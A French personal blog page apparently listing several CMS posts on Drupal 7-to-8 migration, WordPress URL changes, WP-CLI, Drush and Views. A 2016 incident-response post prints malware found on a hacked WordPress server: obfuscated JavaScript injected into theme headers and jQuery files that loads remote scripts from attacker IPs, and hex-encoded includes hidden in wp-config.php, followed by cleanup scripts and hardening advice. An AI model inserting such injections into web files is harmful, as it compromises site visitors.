CMS

Migration Media et Images Inline

vincentl — Mon, 20 Apr 2020 19:54:26 +0000

Migration Media et Images Inline

Dans la série d'articles sur la migration de mon site https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8 j'en viens maintenant à une partie qui m'a pris pas mal de temps et demandé un peu de développement.

Sur mon site en Drupal 7, j'avais utilisé le module Media_Wysiwyg et Colorbox, qui me permettaient d'insérer des images directement dans le texte.

Je n'ai pas trouvé d'équivalent sous Drupal 8, mais en utilisant comme format d'affichage "Colorbox" pour le champ media_image, ceci répond à mon besoin : ouvrir un champ image dans une "lightbox".

Il reste donc à convertir les fichiers en média, et ensuite à convertir, dans le corps du texte de chaque contenu, les tags "colorbox" en tags "drupal media".

Création des Media liés aux fichiers

Lors de la migration, les fichiers ont bien été importés. Par contre ils ne sont pas reconnus comme media par Drupal ,et donc pas réutilisables.

Après avoir cherché - en vain - des modules qui géraient ceci, j'ai fini par passer par un bout de programme PHP qui utilise les fonctions de Drupal pour réaliser cette opération.

Le code php est le suivant :

<?php
// Create Media images from file

use Drupal\media\Entity\Media;

// Requete pour recupérer les fichiers de type Image
$results = \Drupal::database()->query("select * from file_managed where filemime like 'image%'")->fetchAll();

foreach ($results as $file ) {
  echo "File name:",$file->filename," Id : ",$file->fid," mime : ",$file->filemime," uid : ",$file->uid;
  echo "Creation du Media Image pour ",$file->filename,PHP_EOL;
  $media = Media::create([
  'bundle' => 'image',
  'uid' => $file->uid,
  'langcode' => $file->langcode,
  'field_media_image' => [
    'target_id' => $file->fid,
    'alt' => $file->filename
   ]

  ]);

  $media->setPublished(TRUE);
  $retour=$media->save();

  if ( $retour != 1 ) {
    echo "Retour KO ? ",$retour,PHP_EOL;
  }

}

return (TRUE);

On peut le lancer avec drush, via la commande :

drush --uri=drupal.loc scr /chemin/vers/mon/fichier.php

Après cette étape, on récupère bien dans la librairies de media tous les fichiers

Reprise des images inline

Pour convertir les tags, j'ai développé un programme PHP qui va remplacer les instructions inline Colorbox, par exemple

<p>[[{"type":"media","view_mode":"colorbox","fid":"88","attributes":{"alt":"","class":"media-image","height":"300","typeof":"foaf:Image","width":"494"}}]]</p>

par

<drupal-media data-align="center" data-entity-type="media" data-entity-uuid="b5631639-11f9-4945-85b7-85a477cbdcf8"></drupal-media>

Le script sera lancé avec en paramètre le Node Id à traiter :

php mediaInline.php -i nid

Par exemple

php mediaInline.php -i 136

Note : j'ai fait le choix de traiter les contenus un par un. Au total, j'avais identifié une vingtaine d'articles concernés. La migration unitaire me permettait de vérifier le traitement pour chacun.

Afin de voir le résultat, il faut vider le cache Drupal avec la commande :

drush cr

vincentl lun 20/04/2020 - 21:54

Catégorie

CMS

Tag

Drupal

media

Fichier

Script de migration Colorbox vers media

Ajouter un commentaire

Migration avec le module migrate_upgrade

vincentl — Mon, 20 Apr 2020 19:42:22 +0000

Migration avec le module migrate_upgrade

Installation et activation des modules Drush requis

On va installer les 2 modules suivants : migrate_upgrade, migrate_tools.

composer require drupal/migrate_upgrade composer require drupal/migrate_tools

Puis activer les modules :

drush pm:enable migrate_upgrade migrate_tools -y

Dans le fichier settings.php , il faut ajouter la définition de la base source.

Important : elle doit s'appeler migrate.

Par exemple :

$databases['migrate']['default'] = 
  array ( 'database' => 'dbdrupal7', 
  'username' => 'user_drupal7', 
  'password' => 'mdp_drupal7', 
  'prefix' => '', 
  'host' => 'localhost', 
  'port' => '3306', 
  'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql', 
  'driver' => 'mysql'
);

Générer la migration Drupal 7 vers Drupal 8

Dans la version que j'ai installé, on peut utiliser migrate_upgrade pour générer les scripts de migration, qui seront lancés avec drush.

Prérequis

Attention : à cause d'une incompatibilité avec drush 10, cette fonction nécessite que l'on modifie le fichier vendor/drush/drush/includes/drush.inc pour ajouter la définition de drush_print :

function drush_print($message = '', $indent = 0, $handle = NULL, $newline = TRUE) {
  $msg = str_repeat(' ', $indent) . (string)$message;
  if ($newline) {
    $msg .= &quot;\n&quot;;
  }
  if (($charset = 'UTF-8' ) &amp;&amp; function_exists('iconv')) {
    $msg = iconv('UTF-8', $charset, $msg);
  }
  if (!$handle) {
    $handle = STDOUT;
  }

  fwrite($handle, $msg);

}

Sinon on a le message :

drush migrate-upgrade --legacy-db-key=migrate --configure-only [error] Error: Call to undefined function drush_get_option() in drush_print()

Lancer la commande avec le chemin vers le répertoire source "legacy", ce qui permet de migrer les fichiers également :

drush migrate-upgrade --legacy-db-key=migrate --legacy-root /var/www/drupal7/vincentl --migration-prefix=upg1_ --configure-only

On peut ensuite voir le résultat avec la commande drush migrate-status

Et on peut lancer la migration avec :

drush migrate:import upg1_d7_taxonomy_vocabulary
drush migrate:import upg1_d7_taxonomy_term_categorie
drush migrate:import upg1_d7_taxonomy_term_tags
drush migrate-import --group=migrate_drupal_7

Note : je lance d'abord les migrations de taxonomie pour que la génération des liens de menu se passe correctement. Comme dit précédemment, le processus est assez itératif et a demandé plusieurs essais avant de trouver les bons réglages.

Après cette étape, le contenu a été migré, ainsi que les types de contenu, les menus, etc.

Il reste à faire quelques mises au point et reprise de paramétrage sur les formats de texte (insertion du bouton media par exemple), ainsi que refaire le thème, et traiter le cas des images inline.

vincentl lun 20/04/2020 - 21:42

Catégorie

CMS

Tag

Drupal

Ajouter un commentaire

Processus de migration vers Drupal 8

vincentl — Sun, 19 Apr 2020 10:45:31 +0000

Processus de migration vers Drupal 8

Processus de migration

Le processus de migration a été testé plusieurs fois. Je suis parti sur la base d'une sauvegarde du site Drupal 7 (fichiers + base de données).

J'ai installé ça dans un container LXC sur mon PC, ce qui me permettra de supprimer tout cela une fois la migration terminée.

Au final, on a donc un container sous Debian 10 avec PHP 7.3.11 et une base MariaDB 10.1.

L'idée est donc la suivante :

création d'une base de données pour Drupal 8
installation d'un site en Drupal 8, en mode "standard", mais sans contenu
installation et activation des modules portés sous Drupal 8
installation et activation des modules de migration
lancement de la migration des contenus
reprise des média et de leur affichage (la migration ne gère pas ce point a priori)
ajustements manuels / reparamétrage dans la cible D8.

Le processus a été fait de manière itérative, je m'y suis repris à 3 ou 4 fois avant d'avoir un processus qui tienne la route.

Installation Drupal 8

Une fois la base de données créée, on procède à l'installation de Drupal 8.

A la date d'installation, la version est Drupal 8.8.5.

Il est maintenant fortement recommandé d'utiliser composer pour installer et mettre à jour Drupal.

Sachant que même l'installation de modules utilise composer, c'est la solution que j'ai utilisé. C'est d'ailleurs très pratique quand on refaire plusieurs fois la même installation, puisqu'une fois le fichier _composer.json _ généré, il est possible de s'en resservir.

Mon fichier comprend les modules suivants :

"repositories": [
  { "type": "composer",
  "url": "https://packages.drupal.org/8" }
 ],
"require": {
  "composer/installers": "^1.2",
  "drupal/colorbox": "^1.4",
  "drupal/core-composer-scaffold": "^8.8",
  "drupal/core-project-message": "^8.8",
  "drupal/core-recommended": "^8.8",
  "drupal/honeypot": "^1.30",
  "drupal/pathauto": "^1.6",
  "drupal/tagclouds": "^1.0",
  "drupal/token": "^1.6",
  "drupal/xmlsitemap": "^1.0@RC",
  "drush/drush": "^10.2" },

On remarquera que drush est installé en même temps que Drupal.

Une fois le répertoire d'installation créé, et le fichier composer.json copié dans ce répertoire, l'installation se fait simplement :

composer install

A ce niveau, on peut déjà accéder au nouveau site (il faut auparavant avoir paramétré le virtualhost qui pointe sur le bon répertoire), entrer les paramètres de la base de données. J'ai personnellement choisi d'installer uniquement le français, car je ne vais pas gérer le multilingue.

Comme le site sera migré, on peut s'arrêter avant la configuration du site.

L'étape suivante est de préparer et lancer la migration.

vincentl dim 19/04/2020 - 12:45

Catégorie

CMS

Tag

Drupal

Ajouter un commentaire

Migration Drupal 7 vers Drupal 8

Vincent — Sun, 19 Apr 2020 10:40:55 +0000

Migration Drupal 7 vers Drupal 8

Après plusieurs années sous Drupal 7, et l'arrivée imminente de Drupal 9, il était temps pour moi de migrer mon site sur Drupal 8, d'autant que les dernières versions ont maintenant des utilitaires de migration.

Situation initiale

Mon site perso n'est pas très complexe, ni au niveau contenu (environ 200 articles), ni au niveau modules Drupal.

La version utilisée est Drupal 7.69.

En plus des modules du "core", j'utilise des choses plutôt classiques :

ctools (pré-requis pour pas mal de choses)
blog (a disparu de la V8, c'est un type de contenu comme les autres)
media et media_wysiwyg (pour insérer les images dans le contenu)
colorbox (pour afficher les images dans une box en surimpression)
pathauto (permet de générer automatiquement un alias)
botcha (comme anti-spam)
tagclouds (affiche les tags sous forme de nuage)
xmlsitemap

Le thème est un développement custom, basé sur Adaptative Theme. Il sera à refaire.

Dans tout ça, les seuls module non portés en D8 et pour lesquels il faudra trouver une alternative sont media_colorbox et botcha.

Pour l'antispam, j'ai opté pour le module honeypot, et pour media_colorbox, le paramétrage de l'affichage pour les médias de type image va suffire.

Côté volumétrie, on a :

159 fichiers
199 articles
4 "books" (série d'articles sur le même sujet)
64 commentaires.

On utilise 2 langues : français et anglais (9 en anglais, le reste en français ou neutre).

Préparation du site sous Drupal 7

Afin de simplifier la migration, je vais changer la langue des articles en anglais pour les assigner au français ou au neutre.

Pour les alias d'URL, même modification (on assigne tout au "All languages").

Vu la faible volumétrie, je fais cela directement via l'interface web de Drupal, ce qui me permet de m'assurer que tous les champs sont correctement mis à jour.

Suite aux tests effectués, j'ai aussi modifié le champ field_alt_text pour enlever colorbox_link du mode d'affichage.

Les différentes étapes de la migration seront détaillées dans la suite de cette série d'articles, avec les problèmes que j'ai pu rencontrer.

Vincent dim 19/04/2020 - 12:40

Catégorie

CMS

Tag

Drupal

planetdrupal

Ajouter un commentaire

Changer le nom du site (URL) de Wordpress

vincentl — Wed, 23 Aug 2017 07:54:41 +0000

Changer le nom du site (URL) de Wordpress

Contrairement à Drupal, Wordpress stocke dans sa base de données l'URL complète du site. Ceci inclut également le protocole (http ou https).Du coup, en cas de passage d'un site en https, ou du transfert d'un site de développemnt en production (avec changement d'URL, par exemple de dev.monsupersite.org en www.monsupersite.org), on perd une grande partie du contenu (média, éventuellement CSS).Il est possible de résoudre le problème, avec Search-Replace-DB-master. C'est un ensemble de scripts php.

Installation

Récupérer sur https://github.com/interconnectit/Search-Replace-DB

Utilisation

Le script travaille uniquement sur la base de données. Il peut donc être lancé à partir de n'importe quel répertoire.Il utilise les paramètres suivants :

-h : host de la base de données
-n : nom de la base de données
-u : utilisateur de la base
-p : mot de passe
-z : en mode "dry run". Ceci permet d'avoir un retour sur ce qui sera fait, sans faire les modifications
-s : URL de départ
-r : URL cible

Par exemple, si on veut passer notre site, développé avec l'URL http://dev.monsupersite.org, sur un environnement de production en https://www.monsupersite.org :Lancement en mode Dry Run : (option -z) php srdb.cli.php -h localhost -n monsupersite -u monuser -p monmotdepasse -z -s 'http://dev.monsupersite.org' -r 'https://www.monsupersite.org' Je recommande de faire une sauvegarde de la base mysqldump -u monuser --password=monmotdepasse monsupersite > monsupersite.sql.dmp Puis on lance en "vrai" : php srdb.cli.php -h localhost -n monsupersite -u monuser -p monmotdepasse -z -s 'http://dev.monsupersite.org' -r 'https://www.monsupersite.org'

vincentl mer 23/08/2017 - 09:54

Catégorie

CMS

Tag

wordpress

Wordpress : utiliser WP-CLI pour gére wordpress en ligne de commande

vincentl — Wed, 23 Aug 2017 07:44:59 +0000

Wordpress : utiliser WP-CLI pour gére wordpress en ligne de commande

Autant pour Drupal, l'outil drush est très connu et permet de simplifier et d'accélérer les choses (installation de modules, mises à jour, nettoyage du cache), autant il semble que l'utilisation de la ligne de commande pour Wordpress n'est pas très répandu.Cependant, il existe un outil wp-cli, qui fournit des fonctionnalités relativement semblables.Je ne reprends pas ici toutes les commandes, vous pouvez vous référer au site d'origine.

Installation

L'installation (et l'utilisation) nécessite bien sûr d'avoir un accès au serveur en ligne de commande. Il n'est donc pas possible de l'utiliser sur un hébergement mutualisé. On installe via un fichier phar curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar chmod +x wp-cli.phar sudo mv wp-cli.phar /usr/local/bin/wp-cli Note : dans la documentation "officielle", ils utilisent le raccourci wp. Je préfère wp-cli. Libre à vous d'adapter le nom de l'exécutable...

Utilisation

Voici les commandes que j'utilise le plus. Il y en a d'autres. On peut se référer à la documentation.

Vérifier les versions

Pour le Core : wp-cli core versionExemple : wp-cli core version 4.8.1 On peut aussi vérifier si une mise à jour du Core est disponible, avec wp-cli core check-update : wp-cli core check-update Success: WordPress is at the latest version. Pour les Plugins : wp-cli plugin statusExemple : wp-cli plugin status 7 installed plugins: A advanced-wp-columns 2.0.6 A column-shortcodes 1.0 A contact-form-7 4.9 A ml-slider 3.5.1 A responsive-lightbox 1.7.2 A shortcodes-ultimate 4.10.2 UA wordpress-seo 4.9 Legend: A = Active, U = Update Available

Lancer les mises à jour

Pour le Core, on utlise wp-cli core update Pour les plugins, c'est wp-cli update [nom du plugin] Exemple : wp-cli plugin update contact-form-7 Activation du mode maintenance... Téléchargement de la mise à jour depuis https://downloads.wordpress.org/plugin/contact-form-7.4.9.zip... Using cached file '/www/toto/.wp-cli/cache/plugin/contact-form-7-4.9.zip'... Décompression de la mise à jour... Installation de la dernière version... Retrait de l’ancienne version de l’extension... L’extension a bien été mise à jour. Désactivation du mode maintenance... +----------------+-------------+-------------+---------+ | name | old_version | new_version | status | +----------------+-------------+-------------+---------+ | contact-form-7 | 4.8 | 4.9 | Updated | +----------------+-------------+-------------+---------+ Success: Updated 1 of 1 plugins.

Conclusion

Cet utilitaire permet de se simplifier la vie, et participe également à la sécurisation des sites wordpress. En effet, on peut avoir des répertoires qui appartiennent à un utilisateur différent de celui qui fait tourner le site (www-data généralement).En mettant des droits d'accès en lecture seule pour www-data, sur les répertoires des modules et du core, on limite les risques d'attaques.

vincentl mer 23/08/2017 - 09:44

Catégorie

CMS

Tag

wordpress

Hack de sites Wordpress avec jquery.min.php / jquery*js

vincentl — Fri, 02 Dec 2016 20:34:41 +0000

Hack de sites Wordpress avec jquery.min.php / jquery*js

Depuis quelques jours, je recevais des mails de monit, indiquant un load average trop élevé sur un serveur dont je m'occupe épisodiquement (serveur de l'association Down Up).

Cela m'a semblé curieux, car il s'agit d'un serveur dédié OVH, avec un Xeon 8 coeurs, et 64 Go de RAM, qui héberge uniquement quelques sites web.

Ayant eu dans le temps des problèmes de piratage de sites, j'ai regardé le nombre de messages dans la file postfix :

mailq

Oups ! plus de 23 000 messages en attente, rejetés par les plates-formes cibles.

Dans les messages, le nom de l'un des sites apparaît. Il s'agit d'un Wordpress, dans une version assez ancienne. Dans les différents répertoire, on découvre des fichiers php infectés, traînant un peu partout, avec la même date : 16 novembre. Ce qui veut dire que depuis plusieurs jours, la machine est infectée.

Je supprime les fichiers php infectés, et teste l'accès au site, qui semble fonctionner, mais qui redirige vers des sites pour adultes...

En y regardant plus précisément, d'autres sites ont le même comportement, alors qu'aucun nouveau fichier ne date de novembre ; pas de fichiers curieux non plus.

Contenu des fichiers infectés

Une recherche sur Google me donne quelques pistes. Je fouille également dans mes cookies, pour découvrir un cookie nommé __cfgoid. La recherche dans les fichiers de Wordpress me sort tous les fichiers header.php des thèmes.

Une ligne de javascript a été insérée dans les fichiers :

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCS
tring();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(va
r e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__
cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascr
ipt" src="' + 'http://80.90.43.202/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'snt2014' + '&utm_source=' + window.location
.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var
 metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() =
= "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(
/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><'
+ '/script>')));</script>
</head>

Il suffit de supprimer la ligne pour nettoyer les entêtes. J'ai développé pour cela un script shell de quelques lignes :

#!/bin/bash
# Recherche les fichiers infectes
BADFILE=$(grep -lR jquery.min.php *)
#
# pour chacun
for fic in $BADFILE ; do
  echo === Traitement de $fic ===
  echo sed -i.bak '/cfgoid/d' $fic
  sed -i.bak '/cfgoid/d' $fic
done

Le script recherche d'abord la chaine jquery.min.php dans tous les fichiers des sous-répertoires, puis pour chacun supprime la ligne contenant le nom du cookie.

Un arrêt / relance du serveur http Apache permet de vider le cache php...

Après nettoyage, je vais modifier les permissions pour interdire l'écriture dans les répertoires de thèmes Wordpress.

Le fait que les fichiers php puissent être utilisés un peu partout dans Wordpress ne rend pas les choses faciles.

Si on compare à Drupal, dans ce dernier, seul le fichier index.php doit être appelé directement. Les fichiers à inclure ont une extension .inc L'appel d'un autre script php peut donc être refusé, ce qu'on fait facilement avec des règles nginx...

Utilisateur Wordpress pirate

En regardant dans la table wp_users, on découvre également un utilisateur inconnu, avec une date d'enregistrement nulle ;

select user_login , user_registered from wp_users;
+-----------------------------+---------------------+
| user_login                  | user_registered     |
+-----------------------------+---------------------+
| XXX                         | 2013-02-25 15:19:19 |
| XXXX                        | 2013-03-05 11:15:08 |
| XXXX                        | 2014-12-22 21:19:38 |
| wp.service.controller.OlVSC | 0000-00-00 00:00:00 |
| XXXX                        | 2016-12-01 06:57:31 |
+-----------------------------+---------------------+
5 rows in set (0.00 sec)

Include dans le fichier wp-config.php

Autre fichier infecté, de manière plus subtile : wp-config.php, dans lequel on trouve un include entre deux commentaires :

/**
 * Langue de localisation de WordPress, pa*/include /*r défaut en Anglais.
 *
 * Modifiez cette valeur pour lo*/"\x2fvar\x2fwww\x2fwor\x64pre\x73s/p\x72od/\x64own\x75psy\x6ed/w\x70-in\x63lud\x65s/f\x6fnts\x2fpa
g\x65.ph\x70";/*caliser Word*/include /*Press. Un fichier MO correspondant
 * au langage choisi doit être installé dans le dossier wp-content*/"\x2fvar\x2fwww\x2fwor\x64pre\x73s/p\x72od/\x64own\x75psy\x6ed/w
\x70-ad\x6din/\x73tar\x74.ph\x70";/*/languages.
 * Par exemple, pour mettre en place une traduction française, mettez le fichier
 * fr_FR.mo dans wp-content/languages, et réglez l'option ci-dessous à "fr_FR".
 */

Si on décode cela donne :

include /var/www/wordpress/prod/downupsynd/wp-includes/fonts/page.php;
include /var/www/wordpress/prod/downupsynd/wp-admin/start.php;

Effectivement, les deux fichiers sont infectés, et datent de décembre 2015... Ils seront supprimés.

Autre cause, sur la base de fichiers jquey*js

Malheureusement, ceci n'a pas suffi, puisqu'en testant le lendemain je retombe sur les mêmes symptômes, alors que les répertoires sont en lecture seule pour l'utilisateur www-data. En inspectant les cookies dans le navigateur, je n'en voie qu'un seul : csrf_uid.

Par contre une recherche avec grep -lr csrf_uid * ne donne rien...

J'ai trouvé la recherche sur le web : en recherchant sur le nom du cookie, j'arrive sur plusieurs sites qui me renvoient vers des chaînes de caractères encodées, puis je tombe sur cet article : Virus Wordpress qui attaque jQuery.js

Et là, je découvre plus de 1300 fichiers infectés, car d'après l'article une fois que le fichier php malveillant a été téléchargé via une faille Wordpress, il remonte toute l'arborescence du système de fichier, pour infecter les fichiers jquery.*.js, et ajouter les lignes :

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))

Pour traiter le problème, j'ai fait un bout de script shell :

#!/bin/bash
#
echo "Recherche des fichiers avec setCookie"
grep -lr setCookie *
echo
CURDIR=$(pwd | sed 's|/|_|g')
# -----------------------------------------------
echo Recherche des fichiers avec infections jquery.js
grep -rl 'var _0xaae8' *
echo
echo -n "Traiter les fichiers ? "
read REP
if [ "$REP" == "o" ] ; then
  BADFILE=$(grep -lR 'var _0xaae8' *)
  echo
  echo "Suppression de la ligne infectée"
  echo
  for fic in $BADFILE ; do
    echo === Traitement de $fic ===
# ajouter un saut de ligne avant
    sed -i 's/var _0xaae/\nvar _0xaae/g' $fic
# Supprime la ligne
    echo sed -i.bak '/var _0xaae8/d' $fic
    sed -i.bak '/var _0xaae/d' $fic
    SLUG=${CURDIR}_$(echo ${fic}.bak | sed 's|/|_|g')
    mv $fic.bak /var/trash/${SLUG}
  done
fi
echo

Il faut donc se positionner dans les répertoires, puis lancer le script (penser à créer le répertoire /var/trash si on veut garder la trace des fichiers infectés).

Une fois que ceci est fait, je recommande fortement de désactiver le xmlrpc (on peut renommer le fichier) ou mettre en place une directive Apache, dans chaque VirtualHost (ce qui élimine les risques en cas de mise à jour wordpress).

    <files xmlrpc.php>
      order allow,deny
      deny from all
    </files>

Et comme expliqué ci-dessous, sécuriser l'accès aux répertoires.

Bref, ceci aura bien occupé mon week-end !

Quelques conseils de sécurisation pour les répertoires

Extraits du code Wordpress : https://codex.wordpress.org/Hardening_WordPress

Il est recommandé d'utiliser un compte séparé de celui utilisé par le serveur http, et de positionner les droits comme ceci :

/ : le répertoire racine doit être en rw par notre compte, et lisible par le serveur http
/wp-admin : répertoire d'administration, en écriture par notre compte uniquement
/wp-includes : contient un ensemble de fichiers, en écriture seulement par notre compte
/wp-content : fichiers en lecture et écriture par notre compte et le serveur http.

On peut sécuriser encore un peu plus, en limitnt les accès en lecture sur les répertoires wp-content/themes et wp-content/plugins.

Un script shell fait tout cela :

#!/bin/bash
# Set correct file permissions for Wordpress
# Run at wordpress root

echo -n "Owner : "
read php_username
if [ "$php_username" = "" ] ; then
  echo "Good bye ..."
  exit
fi
echo -n "Group : "
read group_name
if [ "$group_name" = "" ] ; then
  echo "Good bye ..."
  exit
fi

#Forbid apache from writing to your Wordpress application files
chown -R ${php_username}:${group_name} .
find . -type d -exec chmod 750 '{}' \;
find . -type f -exec chmod 640 '{}' \;

cd wp-content
find . -type d -exec chmod 770 '{}' \;
find . -type f -exec chmod 660 '{}' \;

chmod 750 themes
chmod 750 plugins

et ne pas oublier de mettre régulièrement à jour Wordpress et ses extensions...

Sécurisation du répertoire wp-includes

On peut également ajouter quelques directives au fichier .htaccess, afin d'empêcher l'accès direct aux fichiers php contenus dans wp-includes :

# Block the include-only files.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>

vincentl ven 02/12/2016 - 21:34

Catégorie

CMS

Tag

wordpress

securité

Créer une vue Drupal sur un type de contenu, pour tous les auteurs ou moi seulement

vincentl — Thu, 28 Jul 2016 15:28:39 +0000

Créer une vue Drupal sur un type de contenu, pour tous les auteurs ou moi seulement

J'ai eu récemment un besoin qui semble assez simple à première vue : pour un type de contenu spécifique, je voulais ajouter dans Views un filtre exposé me permettant de sélectionner tous les contenus ou seulement ceux dont j'étais l'auteur.

A priori, il suffit de créer une relation de type "Contenu: Auteur", et l'utiliser dans un filtre exposé sur l'utilisateur Actuel.

Sauf que... ceci me donne 2 options : les contenus de l'utilisateur actuel (les miens) ou les autres (pas les miens).

J'ai cherché pas mal de manière de faire, jusqu'à tomber sur une discussion qui parlait du module "Composite Views Filter", qui m'a finalement permis de faire ce que je voulais.

Création de la vue avec la relation Contenu : Auteur

Pour cela on crée une vue (Structure / Vue / Ajouter).

On lui donne un nom, et on va afficher les contenus de type "Signalement", puis on clique sur Continue & Edit. On ajoute les champs qui nous intéressent : pour la démo, ce sera le titre du contenu, l'UID de l'auteur et la date.

Puis on va ajouter une relation. Pour cela déplier "Avancé", et choisir Ajouter sur les Relations.

On choisit alors la relation Contenu / Auteur : c'est celle qui nous intéresse.

On modifie l'identiiant (par défaut c'est "author", je vais mettre Auteur). Puis on confirme en cliquant sur "Appliquer (tous les affichages).

A ce stade, la preview donne le tableau avec tous les auteurs :

Première tentative avec un filtre exposé sur l'auteur

On ajoute un filtre exposé (FILTER CRITERIA / Ajouter). On va sélectionner "Utilisateur : Actuel" :

Dans l'écran suivant, on choisit la relation que l'on a défini auparavant. On définit le filtre comme exposé, afin de laisser l'utilisateur choisir sa valeur.

Remarque : j'utilise Better Exposed Filter, qui ajoute une valeur "-Tous-", mais qui ne peut pas être sélectionnée par défaut.

Au final, les options sont réduites à Oui et Non :

Pas possible donc dans ce cas d'avoir mes contenus (correspondant à UID = 1) ou tous. Lorsqu'on sélectionne l'option Non, on a les autres contenus, mais pas le sien...

J'ai donc commencé à regarder du côté du développement Views, avant d'avoir vent du module Composite Views Filter.

Deuxième essai avec le module Composite Views Filter

Ce module nécessite d'être téléchargé et activé. Comme d'habitude, je fais cela avec Drush :

drush dl composite_views_filter
drush en -y composite_views_filter

Ensuite, il faut ajouter un filtre exposé de type "Global : Composite Filter".

On va ensuite donner les propriétés de ce filtre : une étiquette, et une description (optionnelle). Ensuite, dans Groups, une liste de champs de type clé|valeur, qui seront utilisés par la suite.

Pour terminer, on donne un libellé pour "Tous". Dans l'option "Plus", il faut aussi donner un ID au filtre.

A ce stade, on a un nouveau filtre exposé, mais qui n'est pas actif. Il reste une étape : créer un filtre qui utilise ce filtre global. Pour cela, on ajoute un nouveau filtre, sur l'utilisateur Actuel :

On valide via le bouton "Appliquer (tous les affichages)". C'est à ce niveau que le groupe défini auparavant peut être utilisé. On sélectionne la valeur correspondant au libellé saisi.

Le filtre exposé est alors actif. Si on sélectionne l'option "Mes contenus uniquement", on a bien les contenus de l'UID = 1 :

Si on sélectionne "Tous les utilisateurs" on a la totalité des UID :

On sauvegarde la vue, et le tour est joué.

vincentl jeu 28/07/2016 - 17:28

Catégorie

CMS

Tag

Drupal

Views

Importer et tenir à jour les traductions Drupal avec Drush

vincentl — Wed, 27 Jul 2016 13:57:50 +0000

Importer et tenir à jour les traductions Drupal avec Drush

Lorsqu'on utilise Drupal, drush est un outil qui permet de gagner beaucoup de temps.

Par exemple, pour mettre à jour les traductions des différents modules d'un site, on peut passer par l'interface, mais ceci suppose d'aller télécharger chaque fichier de traduction.

Avec drush, quelques lignes de commandes suffisent :

# Telechargement du module drush_language (c'est une fonctionnalité additionnelle de drush)
drush dl drush_language
# Téléchargement du module Drupal l10n_update
drush dl l10n_update
# Activation de ce module
drush en -y l10n_update
# Ajout du langage "fr" pour le Français
drush language-add fr
# Activation de la langue fr
drush language-enable fr
# On nettoie le cache
drush cache-clear drush
# On fait une vérification des traductions
drush l10n-update-refresh
# On lance la mise à jour des traductions
drush l10n-update

La dernière commande va télécharger les fichiers de traduction, et les importer dans la foulée.

Exemple sur un site réel :

drush l10n-update
Fetching update information for all projects / all languages.                                      [status]
Found 19 projects to update.                                                                       [status]
Mise à jour des traductions                                                                       [status]
                                                                                                   [status]
Traduction de better_exposed_filters vérifiée.                                                   [ok]
Traduction de colorbox vérifiée.                                                                 [ok]
Traduction de colorbox_node vérifiée.                                                            [ok]
Traduction de ctools vérifiée.                                                                   [ok]
Traduction de date vérifiée.                                                                     [ok]
Traduction de drupal vérifiée.                                                                   [ok]
Traduction de email vérifiée.                                                                    [ok]
Traduction de entity vérifiée.                                                                   [ok]
Traduction de entityreference vérifiée.                                                          [ok]
Traduction de eu_cookie_compliance vérifiée.                                                     [ok]
Traduction de field_formatter_settings vérifiée.                                                 [ok]
Traduction de field_group vérifiée.                                                              [ok]
Traduction de field_permissions vérifiée.                                                        [ok]
Traduction de geocoder vérifiée.                                                                 [ok]
Traduction de geofield vérifiée.                                                                 [ok]
Traduction de geofield_gmap vérifiée.                                                            [ok]
Traduction de geophp vérifiée.                                                                   [ok]
Traduction de hybridauth vérifiée.                                                               [ok]
Traduction de ip_geoloc vérifiée.                                                                [ok]
Traduction de l10n_update vérifiée.                                                              [ok]
Traduction de leaflet vérifiée.                                                                  [ok]
Traduction de leaflet_markercluster vérifiée.                                                    [ok]
Traduction de leaflet_more_maps vérifiée.                                                        [ok]
Traduction de libraries vérifiée.                                                                [ok]
Traduction de media vérifiée.                                                                    [ok]
Traduction de memcache_storage vérifiée.                                                         [ok]
Traduction de pathauto vérifiée.                                                                 [ok]
Traduction de role_delegation vérifiée.                                                          [ok]
Traduction de select_or_other vérifiée.                                                          [ok]
Traduction de services vérifiée.                                                                 [ok]
Traduction de token vérifiée.                                                                    [ok]
Traduction de views vérifiée.                                                                    [ok]
Traduction de views_data_export vérifiée.                                                        [ok]
Traduction de wysiwyg vérifiée.                                                                  [ok]
Traduction du module colorbox_node téléchargée.                                                 [ok]
Traduction de colorbox_node importée.                                                             [ok]
Traduction du module ctools téléchargée.                                                        [ok]
Importation de la traduction de ctools. (6%).                                                      [ok]
Importation de la traduction de ctools. (16%).                                                     [ok]
Importation de la traduction de ctools. (35%).                                                     [ok]
Importation de la traduction de ctools. (54%).                                                     [ok]
Importation de la traduction de ctools. (75%).                                                     [ok]
